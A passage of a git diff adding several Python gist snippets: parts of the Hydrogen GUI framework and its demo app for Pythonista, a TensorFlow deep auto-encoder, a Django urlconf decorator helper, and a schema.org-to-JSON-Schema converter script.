+		self.laf_keys.append("Background On")
+		self.laf_keys.append("Background Off")
+		self.button = HComponent()
+		self.button.ignores_touches = True
+		self.button.laf_prefix = "Switch "
+		self.add_component(self.button)
+		self.is_selected = False
+		self.value = 0.0
+		self.change_listeners = []
+
+	def set_background_fill(self):
+		if(self.is_enabled == False):
+			fill(*self.laf["Disabled Background"])
+		elif(self.is_selected):			
+			fill(*self.laf["Background On"])
+		else:
+			fill(*self.laf["Background Off"])
+			
+	def draw_foreground(self, x, y):
+		self.button.bounds.h = self.bounds.h
+		self.button.bounds.w = self.bounds.h
+		self.button.bounds.y = 0
+		x_add = 0
+		if(self.is_selected):
+			x_add = (self.bounds.w - self.bounds.h)
+		self.button.bounds.x = x_add
+		
+	def change_selected(self):
+		self.is_selected = not self.is_selected
+		for change in self.change_listeners:
+			change(self)
+			
+	def h_touch_moved(self, touch):
+		self.value  = self.value  + ((touch.location.x - touch.prev_location.x) / (self.bounds.w * 1.0))
+		if(self.value > 0.5 and self.is_selected == False):
+			self.value = 1.0
+			self.change_selected()
+		elif(self.value < 0.5 and self.is_selected == True):
+			self.value = 0.0
+			self.change_selected()
+	
+# Base layout class for developing custom Layout Managers
+
+class HLayout(object):
+	def __init__(self, container):
+		self.container = container
+		self.pad = HInset()
+	
+	# Only need to override this if your layout does something with constraints
+	def add(self, comp, constraint):
+		pass
+		
+	def do_layout(self): 
+		pass
+		
+	def get_preferred_size(self):
+		return self.container.bounds.size()
+		
+# Base Scene class.
+# Your Hydrogen application will need to subclass this and add your top level components to it.
+# The preferred method is to let the scene provide the background only and use the components
+# for everything else.  If you do choose to override more than just the HScene.setup() method
+# be cautious, as the HScene is the entry point for all touch events, and calls to redraw the
+# the scene.
+
+class HScene (Scene, HContainer):
+	def __init__(self):
+		Scene.__init__(self)
+		HContainer.__init__(self)
+		self.laf_prefix = "Scene "
+		self.touch_map = {}
+		self.load_lookandfeel()
+	  	
+	def draw(self):
+		self.h_draw(0, 0)
+		self.draw_components(0, 0)
+		
+	def draw_border(self, x, y):
+		# Overriden to prevent a border around the entire scene
+		pass
+	
+	def draw_background(self, x, y):
+		background(*self.laf["Background"])
+	
+	# Unless your app is completely component based, draw_foreground is where you will put all the drawing
+	# routines you would otherwise have put in your Scene.draw() method
+ 	def draw_foreground(self, x, y):
+		pass
+		
+	def touch_began(self, touch):
+		comp = None
+		for c in reversed(self.components):
+			comp = c.hit_test(touch.location.x, touch.location.y)
+			if comp <> None:
+				break
+		if comp == None:
+			comp = self
+		self.touch_map[touch.touch_id] = comp
+		comp.h_touch_began(touch)
+						
+	def touch_moved(self, touch):
+		comp = self.touch_map[touch.touch_id]
+		comp.h_touch_moved(touch)
+		
+	def touch_ended(self, touch):
+		comp = self.touch_map[touch.touch_id]
+		comp.h_touch_ended(touch)
+		del self.touch_map[touch.touch_id]
+		
\ No newline at end of file
diff --git a/hard-gists/593c950ba1a3b9dd08d5/._snippet.py b/hard-gists/593c950ba1a3b9dd08d5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/593c950ba1a3b9dd08d5/._snippet.py differ
diff --git a/hard-gists/593c950ba1a3b9dd08d5/snippet.py b/hard-gists/593c950ba1a3b9dd08d5/snippet.py
new file mode 100644
index 00000000..4c836f0b
--- /dev/null
+++ b/hard-gists/593c950ba1a3b9dd08d5/snippet.py
@@ -0,0 +1,141 @@
+""" Deep Auto-Encoder implementation
+	
+	An auto-encoder works as follows:
+
+	Data of dimension k is reduced to a lower dimension j using a matrix multiplication:
+	softmax(W*x + b)  = x'
+	
+	where W is matrix from R^k --> R^j
+
+	A reconstruction matrix W' maps back from R^j --> R^k
+
+	so our reconstruction function is softmax'(W' * x' + b') 
+
+	Now the point of the auto-encoder is to create a reduction matrix (values for W, b) 
+	that is "good" at reconstructing  the original data. 
+
+	Thus we want to minimize  ||softmax'(W' * (softmax(W *x+ b)) + b')  - x||
+
+	A deep auto-encoder is nothing more than stacking successive layers of these reductions.
+"""
+import tensorflow as tf
+import numpy as np
+import math
+import random
+
+def create(x, layer_sizes):
+
+	# Build the encoding layers
+	next_layer_input = x
+
+	encoding_matrices = []
+	for dim in layer_sizes:
+		input_dim = int(next_layer_input.get_shape()[1])
+
+		# Initialize W using random values in interval [-1/sqrt(n) , 1/sqrt(n)]
+		W = tf.Variable(tf.random_uniform([input_dim, dim], -1.0 / math.sqrt(input_dim), 1.0 / math.sqrt(input_dim)))
+
+		# Initialize b to zero
+		b = tf.Variable(tf.zeros([dim]))
+
+		# We are going to use tied-weights so store the W matrix for later reference.
+		encoding_matrices.append(W)
+
+		output = tf.nn.tanh(tf.matmul(next_layer_input,W) + b)
+
+		# the input into the next layer is the output of this layer
+		next_layer_input = output
+
+	# The fully encoded x value is now stored in the next_layer_input
+	encoded_x = next_layer_input
+
+	# build the reconstruction layers by reversing the reductions
+	layer_sizes.reverse()
+	encoding_matrices.reverse()
+
+
+	for i, dim in enumerate(layer_sizes[1:] + [ int(x.get_shape()[1])]) :
+		# we are using tied weights, so just lookup the encoding matrix for this step and transpose it
+		W = tf.transpose(encoding_matrices[i])
+		b = tf.Variable(tf.zeros([dim]))
+		output = tf.nn.tanh(tf.matmul(next_layer_input,W) + b)
+		next_layer_input = output
+
+	# the fully encoded and reconstructed value of x is here:
+	reconstructed_x = next_layer_input
+
+	return {
+		'encoded': encoded_x,
+		'decoded': reconstructed_x,
+		'cost' : tf.sqrt(tf.reduce_mean(tf.square(x-reconstructed_x)))
+	}
+
+def simple_test():
+	sess = tf.Session()
+	x = tf.placeholder("float", [None, 4])
+	autoencoder = create(x, [2])
+	init = tf.initialize_all_variables()
+	sess.run(init)
+	train_step = tf.train.GradientDescentOptimizer(0.01).minimize(autoencoder['cost'])
+
+
+	# Our dataset consists of two centers with gaussian noise w/ sigma = 0.1
+	c1 = np.array([0,0,0.5,0])
+	c2 = np.array([0.5,0,0,0])
+
+	# do 1000 training steps
+	for i in range(2000):
+		# make a batch of 100:
+		batch = []
+		for j in range(100):
+			# pick a random centroid
+			if (random.random() > 0.5):
+				vec = c1
+			else:
+				vec = c2
+  			batch.append(np.random.normal(vec, 0.1))
+		sess.run(train_step, feed_dict={x: np.array(batch)})
+		if i % 100 == 0:
+			print i, " cost", sess.run(autoencoder['cost'], feed_dict={x: batch})
+
+
+def deep_test():
+	sess = tf.Session()
+	start_dim = 5
+	x = tf.placeholder("float", [None, start_dim])
+	autoencoder = create(x, [4, 3, 2])
+	init = tf.initialize_all_variables()
+	sess.run(init)
+	train_step = tf.train.GradientDescentOptimizer(0.5).minimize(autoencoder['cost'])
+
+
+	# Our dataset consists of two centers with gaussian noise w/ sigma = 0.1
+	c1 = np.zeros(start_dim)
+	c1[0] = 1
+
+	print c1
+
+	c2 = np.zeros(start_dim)
+	c2[1] = 1
+
+	# do 1000 training steps
+	for i in range(5000):
+		# make a batch of 100:
+		batch = []
+		for j in range(1):
+			# pick a random centroid
+			if (random.random() > 0.5):
+				vec = c1
+			else:
+				vec = c2
+  			batch.append(np.random.normal(vec, 0.1))
+		sess.run(train_step, feed_dict={x: np.array(batch)})
+		if i % 100 == 0:
+			print i, " cost", sess.run(autoencoder['cost'], feed_dict={x: batch})
+			print i, " original", batch[0]
+			print i, " decoded", sess.run(autoencoder['decoded'], feed_dict={x: batch})
+			
+if __name__ == '__main__':
+	deep_test()
+
+
diff --git a/hard-gists/594015/._snippet.py b/hard-gists/594015/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/594015/._snippet.py differ
diff --git a/hard-gists/594015/snippet.py b/hard-gists/594015/snippet.py
new file mode 100644
index 00000000..0b6cbdcd
--- /dev/null
+++ b/hard-gists/594015/snippet.py
@@ -0,0 +1,35 @@
+"""
+Apply a decorator to a whole urlconf instead of a single view function.
+
+Usage::
+
+    >>> from urlconf_decorator import decorate
+    >>>
+    >>> def dec(f):
+    ...     def wrapper(*args, **kw):
+    ...         print 'inside the decorator'
+    ...         return f(*args, **kw)
+    ...     return wrapper
+    >>>
+    >>> urlpatterns = patterns(''
+    ...     url('^admin/', decorate(dec, include(admin.site.urls))),
+    ... )
+
+The decorator applied to the urlconf is a normal function decorator.  It gets
+wrapped around each callback in the urlconf as if you had @decorator above the
+function.
+
+"""
+from django.core.urlresolvers import RegexURLResolver, RegexURLPattern
+
+
+def decorate(decorator, urlconf):
+    if isinstance(urlconf, (list, tuple)):
+        for item in urlconf:
+            decorate(decorator, item)
+    elif isinstance(urlconf, RegexURLResolver):
+        for item in urlconf.url_patterns:
+            decorate(decorator, item)
+    elif isinstance(urlconf, RegexURLPattern):
+        urlconf._callback = decorator(urlconf.callback)
+    return urlconf
\ No newline at end of file
diff --git a/hard-gists/5951030/._snippet.py b/hard-gists/5951030/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5951030/._snippet.py differ
diff --git a/hard-gists/5951030/snippet.py b/hard-gists/5951030/snippet.py
new file mode 100644
index 00000000..24885250
--- /dev/null
+++ b/hard-gists/5951030/snippet.py
@@ -0,0 +1,148 @@
+import urllib.request as request
+import re
+import os
+import copy
+import json
+
+outputprefix = "schemas/"
+outputsuffix = '.json'
+urlprefix = "http://json-schema.org/schemas/"
+urlsuffix = '.json'
+relprefix = 'http://schema.org/'
+
+if not os.path.exists(outputprefix):
+	os.makedirs(outputprefix)
+
+def schemaToJson(schema, indent="\t"):
+	"Schema-specific pretty printing"
+	propertyTexts = []
+	# List properties in this order (where defined)
+	properties = ['id', 'title', 'description', 'allOf', 'oneOf', 'anyOf', 'not', 'type', 'format', 'items', 'additionalItems', 'properties', 'additionalProperties', 'definitions']
+	schemaProperties = ['items', 'not', 'additionalProperties', 'additionalItems']
+	schemaMapProperties = ['properties', 'definitions']
+	schemaListProperties = ['allOf', 'oneOf', 'anyOf', 'items']
+	for key in properties:
+		if key in schema:
+			if key in schemaProperties and isinstance(schema[key], object):
+				propertyTexts.append(json.dumps(key) + ': ' + schemaToJson(schema[key], indent))
+			elif key in schemaMapProperties and isinstance(schema[key], object) and len(schema[key]):
+				innerTexts = []
+				subKeys = list(schema[key].keys())
+				subKeys.sort()
+				for subKey in subKeys:
+					innerTexts.append(json.dumps(subKey) + ": " + schemaToJson(schema[key][subKey], indent))
+				propertyTexts.append(json.dumps(key) + ": {\n" + indent + (",\n" + indent).join([x.replace("\n", "\n" + indent) for x in innerTexts]) + "\n}")
+			elif key in schemaListProperties and isinstance(schema[key], list) and len(schema[key]):
+				innerTexts = []
+				for subSchema in schema[key]:
+					innerTexts.append(schemaToJson(subSchema, indent))
+				propertyTexts.append(json.dumps(key) + ": [\n" + indent + (",\n" + indent).join([x.replace("\n", "\n" + indent) for x in innerTexts]) + "\n]")
+			else:
+				propertyTexts.append(json.dumps(key) + ': ' + json.dumps(schema[key], sort_keys=True, indent=indent))
+	# Any property not covered
+	keys = list(schema.keys())
+	keys.sort()
+	for key in keys:
+		if key not in properties:
+			propertyTexts.append(json.dumps(key) + ': ' + json.dumps(schema[key], sort_keys=True, indent=indent))
+	# Assemble into JSON (including indent)
+	jsonText = "{\n" + indent + (",\n" + indent).join([x.replace("\n", "\n" + indent) for x in propertyTexts]) + "\n}"
+	# Compact things for readability
+	jsonText = re.sub(r"\{[^\{,}]*\}", compactJson, jsonText) # Objects with only one property
+	jsonText = re.sub(r"\[[^\[,\]]*\]", compactJson, jsonText) # Lists containing a single simple entry
+	jsonText = re.sub(r"\[[^\{\[\}\]]*\]", compactJson, jsonText) # Lists containing only scalar types
+	return jsonText
+
+def compactJson(refObjMatch):
+	refObjString = refObjMatch.group(0)
+	try:
+		jsonText = json.dumps(json.loads(refObjString))
+		return jsonText
+	except:
+		return refObjString
+
+response = request.urlopen("http://schema.rdfs.org/all.json")
+jsonText = response.read()
+spec = json.loads(jsonText.decode('ascii'))
+
+# (Data)Types for which there is an ideomatic JSON Schema representation
+hardCodedSchemas = {
+	'Boolean': {'type': 'boolean'},
+	'Date': {'type': 'string', 'format': 'http://schema.org/Date'},
+	'DateTime': {'type': 'string', 'format': 'http://schema.org/DateTime'},
+	'Float': {'type': 'number', 'format': 'http://schema.org/Float'},
+	'Integer': {'type': 'integer'},
+	'Number': {'type': 'number'},
+	'Text': {'type': 'string'},
+	'Time': {'type': 'string', 'format': 'time'},
+	'URL': {'type': 'string', 'format': 'uri'}
+}
+
+for entry in spec['types'].values():
+	filename = outputprefix + entry['id'] + outputsuffix
+	schema = {
+		'id': urlprefix + entry['id'] + urlsuffix,
+		'title': entry['label'],
+		'description': entry['comment_plain'],
+		'format': entry['url'],
+		'definitions': {}
+	}
+	if 'instances' in entry:
+		schema['oneOf'] = [
+			{
+				'type': 'string',
+				'enum': entry['instances']
+			},
+			{
+				'type': 'array',
+				'items': {'$ref': '#'}
+			}
+		]
+	else:
+		schema['type'] = 'object'
+		schema['allOf'] = []
+		for supertype in entry['supertypes']:
+			schema['allOf'].append({
+				'$ref': supertype + urlsuffix
+			})
+		schema['properties'] = {}
+		for property in entry['specific_properties']:
+			propertyInfo = spec['properties'][property]
+			options = []
+			for option in propertyInfo['ranges']:
+				if (option in hardCodedSchemas):
+					subSchema = copy.deepcopy(hardCodedSchemas[option])
+					options.append(subSchema)
+				else:
+					options.append({'$ref': option + urlsuffix})
+			if len(options) == 1:
+				if 'format' in options[0] and options[0]['format'] == 'uri':
+					options[0]['links'] = [
+						{
+							'rel': 'full',
+							'href': '{$}'
+						}
+					]
+				schema['properties'][property] = options[0]
+			else:
+				schema['properties'][property] = {
+					'anyOf': options
+				}
+			if '$ref' not in schema['properties'][property]:
+				subSchema = schema['properties'][property]
+				subSchema['title'] = propertyInfo['label']
+				subSchema['description'] = propertyInfo['comment_plain']
+				schema['definitions'][property] = subSchema
+				schema['properties'][property] = {'$ref': '#/definitions/' + property}
+			schema['properties'][property] = {
+				"oneOf": [
+					schema['properties'][property],
+					{
+						"type": "array",
+						"items": schema['properties'][property]
+					}
+				]
+			}
+	with open(filename, 'w') as handle:
+		jsonText = schemaToJson(schema)
+		handle.write(jsonText)
\ No newline at end of file
diff --git a/hard-gists/5953776/._snippet.py b/hard-gists/5953776/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5953776/._snippet.py differ
diff --git a/hard-gists/5953776/snippet.py b/hard-gists/5953776/snippet.py
new file mode 100644
index 00000000..8bdcc65c
--- /dev/null
+++ b/hard-gists/5953776/snippet.py
@@ -0,0 +1,486 @@
+#
+# Hydrogen is a lightweight GUI framework for Pythonista
+#
+# Hydrogen        - https://gist.github.com/BashedCrab/5924965
+#
+# HydrogenLayouts - https://gist.github.com/BashedCrab/6103019
+#
+# HydrogenDemo    - https://gist.github.com/BashedCrab/5953776
+#
+
+from Hydrogen import *
+from HydrogenLayouts import HColumnLayout, HBarLayout, HWindowLayout
+from time import localtime
+
+#
+#	A Window base class to house the Demo Components
+#
+class DemoWindow(HContainer):
+	def __init__(self, title='Title'):
+		HContainer.__init__(self)
+		self.layout = HWindowLayout(self)
+		self.add_bars(title)
+
+	def add_bars(self, title):
+		titleBarInfos = (
+				(title,        'move',   'top'),
+				('Status Bar', 'resize', 'bottom'))
+		for titleBarInfo in titleBarInfos:
+			title_bar = HText(titleBarInfo[0])
+			title_bar.id = titleBarInfo[1]
+			title_bar.ignores_touches = False
+			title_bar.touch_listeners.append(self.touch_listener)
+			self.add_component(title_bar, titleBarInfo[2])
+		
+	def touch_listener(self, comp, type, touch):
+		if type == 'began':
+			self.get_scene().to_front(self)
+		if type == 'moved':
+			if comp.id == 'move':
+				x_new = self.bounds.x + (touch.location.x - touch.prev_location.x)
+				y_new = self.bounds.y + (touch.location.y - touch.prev_location.y)
+				self.bounds = Rect(x_new, y_new, self.bounds.w, self.bounds.h)
+			elif comp.id == 'resize':
+				x_move = touch.location.x - touch.prev_location.x
+				y_move = touch.location.y - touch.prev_location.y
+				w = self.bounds.w + x_move
+				h = self.bounds.h - y_move
+				y = self.bounds.y + y_move
+				self.bounds = Rect(self.bounds.x, y, w, h)
+				self.do_layout()			
+			
+# Example widget to display the current time
+
+class HClock(HText):
+	def __init__(self):
+		HText.__init__(self,'00:00:00')
+		self.sec = -1
+		self.laf_prefix = 'Clock '
+		
+	def draw_foreground(self, x, y):
+		t = localtime()
+		if t.tm_sec <> self.sec:
+			self.sec = t.tm_sec
+			self.set_text('{:02d}:{:02d}:{:02d}'.format(t.tm_hour, t.tm_min, t.tm_sec))
+		HText.draw_foreground(self, x, y)
+		
+# Progress bar set to update with the seconds of the clock
+
+class DemoProgressBar(HProgressBar):
+	def draw_foreground(self, x, y):
+		t = localtime()
+		self.value = t.tm_sec / 59.0
+		HProgressBar.draw_foreground(self, x, y)
+		
+# Example widget to display the average FPS.
+class HFramesPerSecond(HText):
+	def __init__(self):
+		HText.__init__(self, 'FPS = 00.0')
+		self.laf_prefix = 'FPS '
+		self.SAMPLE_FRAMES = 30
+		self.delta = 0 
+		self.frame = 0
+		self.fps = 0.0
+		
+	def draw_foreground(self, x, y):
+		self.update_fps()
+		HText.draw_foreground(self, x, y)
+		
+	def update_fps(self):
+		hscene = self.get_scene()
+		if(hscene <> None):
+			self.delta += hscene.dt
+			self.frame += 1
+			if(self.frame == self.SAMPLE_FRAMES):
+				self.fps = self.SAMPLE_FRAMES / self.delta
+				self._text = 'FPS = {:.1f}'.format(self.fps)
+				self._img = None
+				self.frame = 0
+				self.delta = 0
+					
+# Instructions to fade out over time
+
+class HDemoInstructions(HText):
+	def __init__(self):
+		HText.__init__(self, 'To get started, drag the left bar onto the screen.')
+		self.laf_prefix = 'Instructions '
+		self.alpha = 1.0
+		self.delay = 3.0
+		self.fade = 3.0
+		
+	def set_alpha(self):
+		hscene = self.get_scene()
+		if(hscene <> None):
+			secs = hscene.t
+			if(secs > self.delay + self.fade):
+				self.alpha = 0.0
+				self.is_visible = False
+			elif(secs > self.delay):
+				self.alpha = (self.fade + self.delay - secs) / self.fade
+			else:
+				self.alpha = 1.0
+
+	def h_draw(self, x_offset, y_offset):
+		self.set_alpha()
+		r, g, b, a = self.laf['Background']
+		self.laf['Background'] = (r, g, b, self.alpha)
+		r, g, b, a = self.laf['Border']
+		self.laf['Border'] = (r, g, b, self.alpha)
+		r, g, b, a = self.laf['Foreground']
+		self.laf['Foreground'] = (r, g, b, self.alpha)
+		HText.h_draw(self, x_offset, y_offset)
+		
+class Demo(HScene):
+	def setup(self):
+		self.add_local_laf()
+		self.add_instructions()
+	        self.text_demo        = self.add_text_demo()
+        	self.image_demo       = self.add_image_demo()
+		self.slider_demo      = self.add_slider_demo()
+        	self.switch_demo      = self.add_switch_demo()
+        	self.progress_demo    = self.add_progress_demo()
+        	self.lookandfeel_demo = self.add_lookandfeel_demo()
+        	self.clock            = self.add_clock()
+        	self.fps              = self.add_fps()
+		self.side_bar         = self.add_side_bar() 
+
+	def add_local_laf(self):
+		LAF['Clock Font Size'] = 20
+		LAF['Clock Foreground'] = (0.50, 0.00, 0.00, 1.00)
+		LAF['Clock Show Background'] = False
+		LAF['Clock Show Border'] = False
+		LAF['FPS Font Size'] = 20
+		LAF['FPS Foreground'] = (0.00, 0.50, 0.00, 1.00)
+		LAF['FPS Show Background'] = False
+		LAF['FPS Show Border'] = False
+		LAF['Instructions Font Size'] = 30
+		LAF['Instructions Show Background'] = False
+		LAF['Instructions Show Border'] = False
+		LAF['Top Selection Bar Background'] = (1.00, 1.00, 1.00, 1.00)
+		LAF['Top Selection Bar Shape'] = round_top_rect
+		LAF['Bottom Selection Bar Background'] = (1.00, 1.00, 1.00, 1.00)
+		LAF['Bottom Selection Bar Shape'] = round_bottom_rect
+		LAF['Selection Bar Background'] = (1.00, 1.00, 1.00, 1.00)
+		LAF['Selection Bar Shape'] = rectangle
+		LAF['Spacer Show Background'] = False 
+		LAF['Spacer Show Border'] = False 
+		
+
+	def add_instructions(self):
+		instructions = HDemoInstructions()
+		self.add_component(instructions)
+		instructions.bounds.x = (self.bounds.w - instructions.bounds.w) / 2
+		instructions.bounds.y = (self.bounds.h - instructions.bounds.h) / 2
+
+	def add_text_demo(self):
+		panel = HContainer()
+		panel.insets = HInset(10, 10, 5, 5)
+		panel.layout = HColumnLayout(panel)
+		panel.layout.pad = HInset(0,0,-0.5,0)
+		panel.layout.fill_width = False
+		lines = '''Demonstration text components
+		Simple control that will write text label on screen
+		Choose any font available in Pythonista
+		And any font size or colour
+		Borders and Backgrounds can be configured
+		with the Look-And-Feel
+		Just like all of the other components'''
+		for line in lines.splitlines():
+			panel.add_component(HText(line.strip()))
+		window = DemoWindow('HText Components')
+		window.add_component(panel, 'center')
+		window.is_visible = False
+		self.add_component(window)
+		panel.laf['Shape'] = rectangle
+		return window
+		
+	def add_image_demo(self):
+		img_control = HImage()
+		img_control.set_image('Test_Mandrill', Size(265, 256))
+		img_control.stretch = True
+		window = DemoWindow('HImage Component')
+		window.add_component(img_control)
+		window.is_visible = False
+		self.add_component(window)
+		return window
+		
+	def add_slider_demo(self):
+		panel = HContainer()
+		panel.insets = HInset(10, 10, 0, 10)
+		panel.layout = HColumnLayout(panel)
+		panel.layout.pad = HInset(0, 0, 4, 0)
+		panel.add_component(HText('Sliders Adjust Background'))
+		r, g, b = self.laf['Background']
+		slider = HSlider()
+		slider.id = 'red'
+		slider.value = r
+		slider.change_listeners.append(self.slider_moved)
+		panel.add_component(slider)
+		slider = HSlider()
+		slider.id = 'green'
+		slider.value = g
+		slider.change_listeners.append(self.slider_moved)
+		panel.add_component(slider)
+		slider = HSlider()
+		slider.id = 'blue'
+		slider.value = b
+		slider.change_listeners.append(self.slider_moved)
+		panel.add_component(slider)
+		self.slider_text = HText()
+		self.slider_moved(slider)
+		panel.add_component(self.slider_text)
+		window = DemoWindow('HSlider Components')
+		window.add_component(panel)
+		window.is_visible = False
+		self.add_component(window)
+		panel.laf['Shape'] = rectangle
+		return window
+		
+	def add_switch_demo(self):
+		clock = HClock()
+		clock.is_visible = False
+		self.add_component(clock)
+		clock.bounds.x = (self.bounds.w - clock.bounds.w) / 2
+		clock.bounds.y = self.bounds.h - (2 * clock.bounds.h)
+		fps = HFramesPerSecond()
+		fps.is_visible = False
+		self.add_component(fps)
+		fps.bounds.x = (self.bounds.w - fps.bounds.w) / 2
+		fps.bounds.y = fps.bounds.h
+		panel = HContainer()
+		panel.insets = HInset(10, 10, 0, 10)
+		panel.layout = HColumnLayout(panel)
+		panel.layout.pad = HInset(0,0,2,2)
+		panel.layout.fill_width = False
+		switch_clock = HSwitch()
+		switch_clock.id = clock
+		switch_clock.change_listeners.append(self.switch_flipped)
+		switch_fps = HSwitch()
+		switch_fps.id = fps
+		switch_fps.change_listeners.append(self.switch_flipped)
+		panel.add_component(HText('Use Switches to control On/Off functions'))
+		panel.add_component(HText('Activate Time Display'))
+		panel.add_component(switch_clock)
+		panel.add_component(HText('Activate Frame Rate Display'))
+		panel.add_component(switch_fps)
+		window = DemoWindow('HSwitch Components')
+		window.add_component(panel)
+		window.is_visible = False
+		self.add_component(window)
+		panel.laf['Shape'] = rectangle
+		return window
+		
+	def add_progress_demo(self):
+		panel = HContainer()
+		panel.layout = HColumnLayout(panel)
+		panel.insets = HInset(10, 10, 0, 10)
+		panel.add_component(HText('Progress bar linked to clock seconds'))
+		panel.add_component(DemoProgressBar())
+		window = DemoWindow('HProgressBar Component')
+		window.add_component(panel)
+		window.is_visible = False
+		self.add_component(window)
+		panel.laf['Shape'] = rectangle
+		return window
+		
+	def set_laf_demo_labels(self):
+		self.font_label.set_text(LAF["Font"])
+		self.font_size_label.set_text(str(LAF["Font Size"]))
+		self.font_colour_label.set_text(str(LAF["Text Foreground"]))
+		self.shape_label.set_text(LAF["Shape"].__name__)
+		self.radius_label.set_text(str(LAF["Edge Radius"]))
+		self.background_label.set_text(str(LAF["Background"]))
+		self.border_label.set_text(str(LAF["Border"]))
+		self.border_on_label.set_text(str(LAF["Show Border"]))
+		self.border_width_label.set_text(str(LAF["Border Width"]))
+		
+	def set_laf_1(self):
+		LAF["Shape"] = round_rect
+		LAF["Text Foreground"] = (0.00, 0.00, 0.00, 1.00)
+		LAF["Button Foreground"] = (0.00, 0.00, 0.00, 1.00)
+		LAF["Background"] = (0.90, 0.90, 0.90, 1.00)
+		LAF["Button Background"] = (0.80, 0.80, 0.80, 1.00)
+		LAF["Button Selected"] = (0.60, 0.60, 0.60, 1.00)
+		LAF["Border"] = (0.50, 0.50, 0.50, 1.00)
+		LAF["Border Width"] = 1
+		LAF["Font"] = 'AppleSDGothicNeo-Medium'
+		LAF["Font Size"] = 16
+		LAF["Edge Radius"] = 6
+		LAF["Show Background"] = True
+		LAF["Show Border"] = True
+		
+	def set_laf_2(self):
+		LAF["Shape"] = rectangle
+		LAF["Text Foreground"] = (0.25, 0.00, 0.25, 1.00)
+		LAF["Button Foreground"] = (0.25, 0.00, 0.25, 1.00)
+		LAF["Background"] = (0.30, 0.30, 0.50, 1.00)
+		LAF["Button Background"] = (0.50, 0.75, 1.00, 1.00)
+		LAF["Button Selected"] = (0.25, 0.40, 0.50, 1.00)
+		LAF["Border"] = (0.15, 0.15, 0.30, 1.00)
+		LAF["Border Width"] = 3
+		LAF["Font"] = 'Avenir-Heavy'
+		LAF["Font Size"] = 14
+		LAF["Edge Radius"] = 8
+		LAF["Show Background"] = True
+		LAF["Show Border"] = True
+		
+	def set_laf_3(self):
+		LAF["Shape"] = round_right_rect
+		LAF["Text Foreground"] = (0.00, 0.25, 0.00, 1.00)
+		LAF["Text Foreground"] = (0.00, 0.25, 0.00, 1.00)
+		LAF["Background"] = (0.70, 0.90, 0.70, 1.00)
+		LAF["Button Background"] = (0.60, 0.80, 0.80, 1.00)
+		LAF["Button Selected"] = (0.40, 0.60, 0.60, 1.00)
+		LAF["Border"] = (0.50, 0.50, 0.50, 1.00)
+		LAF["Border Width"] = 0
+		LAF["Font"] = 'Futura-Medium'
+		LAF["Font Size"] = 18
+		LAF["Edge Radius"] = 8
+		LAF["Show Background"] = True
+		LAF["Show Border"] = False
+		
+	def add_lookandfeel_demo(self):
+		buttonInfos = (
+			(self.set_laf_1, 'left'),
+			(self.set_laf_2, 'center'),
+			(self.set_laf_3, 'right'))
+		self.font_label         = HText()
+		self.font_size_label    = HText()
+		self.font_colour_label  = HText()
+		self.shape_label        = HText()
+		self.radius_label       = HText()
+		self.background_label   = HText()
+		self.border_label       = HText()
+		self.border_on_label    = HText()
+		self.border_width_label = HText()
+		barInfos = (
+			('Top ',	'Font Name',	self.font_label),
+			('',		'Font Size',	self.font_size_label),
+			('',		'Font Colour',  self.font_colour_label),
+			('',		'Shape',        self.shape_label),
+			('',		'Radius',       self.radius_label),
+			('',		'Background',   self.background_label),
+			('',		'Border',       self.border_label),
+			('',		'Border On',    self.border_on_label),
+			('Bottom ',	'Border Width', self.border_width_label))
+		panel = HContainer()
+		panel.layout = HColumnLayout(panel)
+		panel.layout.pad = HInset(0, 0, -0.5, -0.5)
+		panel.insets = HInset(10, 10, 10, 10)
+		panel.add_component(HText("A sample of the LookAndFeel properties"))
+		bar = HContainer()
+		bar.layout = HBarLayout(bar)
+		bar.layout.pad = HInset(5, 5, 0, 0)
+		bar.insets = HInset(5,5,10,10)
+		for i, buttonInfo in enumerate(buttonInfos):
+			button = HButton('Sample L&F {}'.format(i))
+			button.id = buttonInfo[0]
+			button.click_listeners.append(self.laf_button_clicked)
+			bar.add_component(button, buttonInfo[1])
+		panel.add_component(bar)
+		spacer = HComponent()
+		spacer.laf_prefix = "Spacer "
+		spacer.preferred_size = Size(10, 10)
+		panel.add_component(spacer)
+		for barInfo in barInfos:
+			bar = HContainer()
+			bar.laf_prefix = '{}Selection Bar '.format(barInfo[0])
+			bar.layout = HBarLayout(bar)
+			bar.add_component(HText(barInfo[1]), 'left')
+			bar.add_component(barInfo[2], 'right')
+			panel.add_component(bar)
+		self.set_laf_demo_labels()
+		window = DemoWindow('Look and Feel Demo')
+		window.add_component(panel)
+		window.is_visible = False
+		self.add_component(window)
+		panel.laf['Shape'] = rectangle
+		return window
+
+	def add_simple_window(self, inComponent, inTitle):
+		panel = HContainer()
+		panel.layout = HColumnLayout(panel)
+		panel.add_component(inComponent)
+		window = DemoWindow(inTitle)
+		window.add_component(panel)
+		window.is_visible = False
+		self.add_component(window)
+		return window
+
+	def add_clock(self):
+		return self.add_simple_window(HClock(), 'Clock')
+		
+	def add_fps(self):
+		return self.add_simple_window(HFramesPerSecond(), 'Frames Per Second')
+
+	def add_side_bar(self):
+		buttonInfos = (
+			('Text Component Demo',                self.text_demo),
+			('Image Component Demo',               self.image_demo),
+			('Slider Component Demo',              self.slider_demo),
+			('Switch Component Demo',              self.switch_demo),
+			('Progress Bar Component Demo',        self.progress_demo),
+			('Look and Feel Demo',                 self.lookandfeel_demo),
+			('Sample Clock Component',             self.clock),
+			('Sample Frames Per Second Component', self.fps))
+
+		side_bar = HContainer()
+		side_bar.insets = HInset(20, 20, 20, 20)
+		side_bar.layout = HColumnLayout(side_bar)
+		side_bar.layout.pad = HInset(0, 0, 4, 0)
+		for buttonInfo in buttonInfos:
+			button = HButton(buttonInfo[0])
+			button.id = buttonInfo[1]
+			button.click_listeners.append(self.button_clicked)
+			side_bar.add_component(button)
+		self.add_component(side_bar)
+		side_bar.laf['Shape'] = round_right_rect  
+		y = (self.bounds.h - side_bar.bounds.h) / 2
+		x = -side_bar.bounds.w + 20
+		side_bar.bounds.x = x
+		side_bar.bounds.y = y
+		side_bar.touch_listeners.append(self.drag_side_bar)
+		return side_bar
+		
+	def drag_side_bar(self, comp, type, touch):
+		if type == 'began':
+			self.get_scene().to_front(comp)
+		if type == 'moved':
+			x_new = comp.bounds.x + (touch.location.x - touch.prev_location.x)
